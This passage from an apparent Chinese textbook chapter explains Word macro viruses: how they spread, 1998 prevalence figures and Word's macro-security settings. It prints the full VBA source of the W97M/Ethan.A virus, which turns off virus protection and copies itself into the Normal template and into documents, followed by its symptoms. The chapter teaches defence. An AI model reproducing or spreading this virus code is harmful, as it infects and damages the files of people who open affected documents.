宏是Word 里一個非常有用的工具,但也是Word 的安全漏洞之一。 有一些惡意的人利用宏制造宏病毒,給別人帶來麻煩。宏病毒是一 種寄存在文檔或模板的宏中的計算機病毒。一旦打開這樣的文檔, 宏病毒就會被激活,轉(zhuǎn)移到計算機上,并駐留在 Normal 模板上。 從此以后,所有自動保存的文檔都會“感染”上這種宏病毒,而且 如果其他用戶打開了感染病毒的文檔,宏病毒又會轉(zhuǎn)移到他的計算 機上。
13.1 宏病毒
宏病毒已經(jīng)成為發(fā)展最快和傳播最迅速的病毒。美國國際計算機 安全協(xié)會ICSA 的《ICSA 1998 病毒流行調(diào)查報告》表明宏病毒獨占 1998 年十大病毒感染事件的72%,在十大病毒中占了五席交椅: WM/Concept、WM/Cap、WM/Wazzu、WM/Npad 和XM/Laroux。根據(jù) DataFellow 公司每天特征碼升級的F-Macro 所檢測到的宏病毒數(shù) 目,至1998 年12 月達(dá)到了3,332 個,而在1997 年12 月才是1,821 個,增長率為83.0%。而且F-Macro 并不能檢測到所有宏病毒。在1998 年12 月出現(xiàn)了Word Class Object 的宏病毒,是由VicodinES 編寫的。
13.1.1 宏病毒
許多應(yīng)用程序都允許在用戶的數(shù)據(jù)庫中包含一些宏,隨著應(yīng)用軟 件的進步,宏語言的功能也越來越強大,其中微軟的Word Visual Basic for Application(VBA)已經(jīng)成為應(yīng)用軟件宏語言的標(biāo)準(zhǔn)。 利用宏語言,可以實現(xiàn)幾乎所有的操作,還可以實現(xiàn)一些應(yīng)用軟件 原來沒有的功能。每個模板或數(shù)據(jù)文件中,都可以包含宏命令。
有不少應(yīng)用軟件允許用戶利用宏修改軟件菜單的功能,并可以將 某一個宏加入到菜單中或設(shè)置成自動運行的命令。利用這個功能, 宏就可以修改軟件本身的功能,從而將軟件本身修改為病毒傳播的 源泉。
宏病毒就是利用Word VBA 進行編寫的一些宏,這些宏可以自動 運行,干擾用戶工作,輕則降低工作效率,重則破壞文件,使用戶 遭受巨大損失。
一旦打開含有宏病毒的文檔,其中的宏就會被執(zhí)行,于是宏病毒 就會被激活,轉(zhuǎn)移到計算機上,并駐留在Normal 模板上。從此以后, 所有自動保存的文檔都會“感染”上這種宏病毒,而且如果其他用戶打開了感染病毒的文檔,宏病毒又會轉(zhuǎn)移到他的計算機上。
宏病毒成為傳播最快的病毒,其原因有三個:第一,現(xiàn)在用戶幾 乎對可執(zhí)行文件病毒和引導(dǎo)區(qū)病毒已經(jīng)有了比較一致的認(rèn)識,對這 些病毒的防治都有一定的經(jīng)驗,許多公司、企業(yè)對可執(zhí)行文件和磁 盤的交換都有嚴(yán)格的規(guī)定。但對宏病毒的危害還沒有足夠的認(rèn)識, 而現(xiàn)在主要的工作就是交換數(shù)字文件,因此使宏病毒得到迅速傳播。 第二,現(xiàn)在的查病毒、防病毒軟件主要是針對可執(zhí)行文件和磁盤引 導(dǎo)區(qū)設(shè)計的,一般都假定數(shù)據(jù)文件中不會存在病毒,而人們相信查 病毒軟件的結(jié)論,從而使隱藏在數(shù)據(jù)文件中的病毒成為漏網(wǎng)之魚。 第三,CD-ROM 和Interenet 使病毒的傳播速度大大加快
如果某個文檔中包含了宏病毒,我們稱此文檔感染了宏病毒;如 果Word 系統(tǒng)中的模板包含了宏病毒,我們稱Word 系統(tǒng)感染了宏病 毒。
Word 2000 無法掃描軟盤、硬盤或網(wǎng)絡(luò)驅(qū)動器上的宏病毒(要得 到這種保護,需要購買和安裝專門的防病毒軟件)。但當(dāng)打開一個 含有可能攜帶病毒的宏的文檔時,它能夠顯示宏警告信息。這樣就 可選擇打開文檔時是否要包含宏,如果希望文檔包含要用到的宏(例 如,單位所用的定貨窗體),打開文檔時就包含宏。如果您并不希望在文檔中包含宏,或者不了解文檔的確切來源。例如,文檔是作 為電子郵件的附件收到的,或是來自網(wǎng)絡(luò)或不安全的Internet 節(jié)點。 在這種情況下,為了防止可能發(fā)生的病毒傳染,打開文檔過程中出 現(xiàn)宏警告提示時最好選擇【取消宏】。
Word 軟件包安裝后,系統(tǒng)中包含有關(guān)于宏病毒防護的選項,其默 認(rèn)狀態(tài)是允許【宏病毒保護】復(fù)選框。如果愿意,可以終止系統(tǒng)對 文檔宏病毒的檢查。當(dāng)Word 顯示宏病毒警告信息時,清除【在打開 帶有宏或自定義內(nèi)容的文檔時提問】復(fù)選框;蛘哧P(guān)閉宏檢查:單 擊【工具】菜單中的【宏】命令,再從級聯(lián)菜單中選擇【安全性】 命令,出現(xiàn)【安全性】對話框,選擇【安全級】選項卡,將安全級 別設(shè)為【無】。不過一般建議用戶不要取消宏病毒防護功能,否則 會失去這道防護宏病毒的天然屏障。
13.1.2 宏病毒示例
為了更好地理解宏病毒, 我們仔細(xì)分析一下宏病毒 W97M/Ethan.A。
下面是該病毒的代碼。
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection
= 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item
(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item
(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item
( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item
( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs
( wdDialogFileSummaryInfo ) : .Title = "Ethan
Frome": .Author = "EW/LN/CB": .Keywords =
"Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs
FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved
= s
End Sub
W97M/Ethan.A 是一種寄生型宏病毒,由一個宏組成,能夠感染 Word 系統(tǒng)中的文檔和模板。在感染過程中,W97M/Ethan.A 使用一種 特殊的算法,從自己的源文件向宿主文件傳送病毒代碼,在源文件 中存放的是以VBA 代碼形式存放的病毒程序。一旦感染成功,W97M/Ethan.A 會刪除自身的有關(guān)文件,隱藏蹤跡,并將感染所有訪 問過的Word 文件
在被感染的Word 文件中,大概有三成幾率的文件屬性會被病毒 更改,其標(biāo)題會被改為“Ethan Frome”,而作者會被改為“EW/LN/CB”。 如果發(fā)現(xiàn)上述特征,則說明此文檔已被W97M/Ethan.A 宏病毒感染。
對已感染的文檔進行操作,可能會出現(xiàn)以下問題:
(1)在存儲文檔時,無法以Word 文檔格式存儲,而只能存儲為 Word 模板格式。
(2)在打開文檔時,Word 系統(tǒng)會向用戶詢問文檔的開啟密碼, 否則無法訪問該文件。
(3)在清除了宏病毒之后,仍然看不到Word 系統(tǒng)中的某些命令 或選項,它們可能已被宏病毒刪除。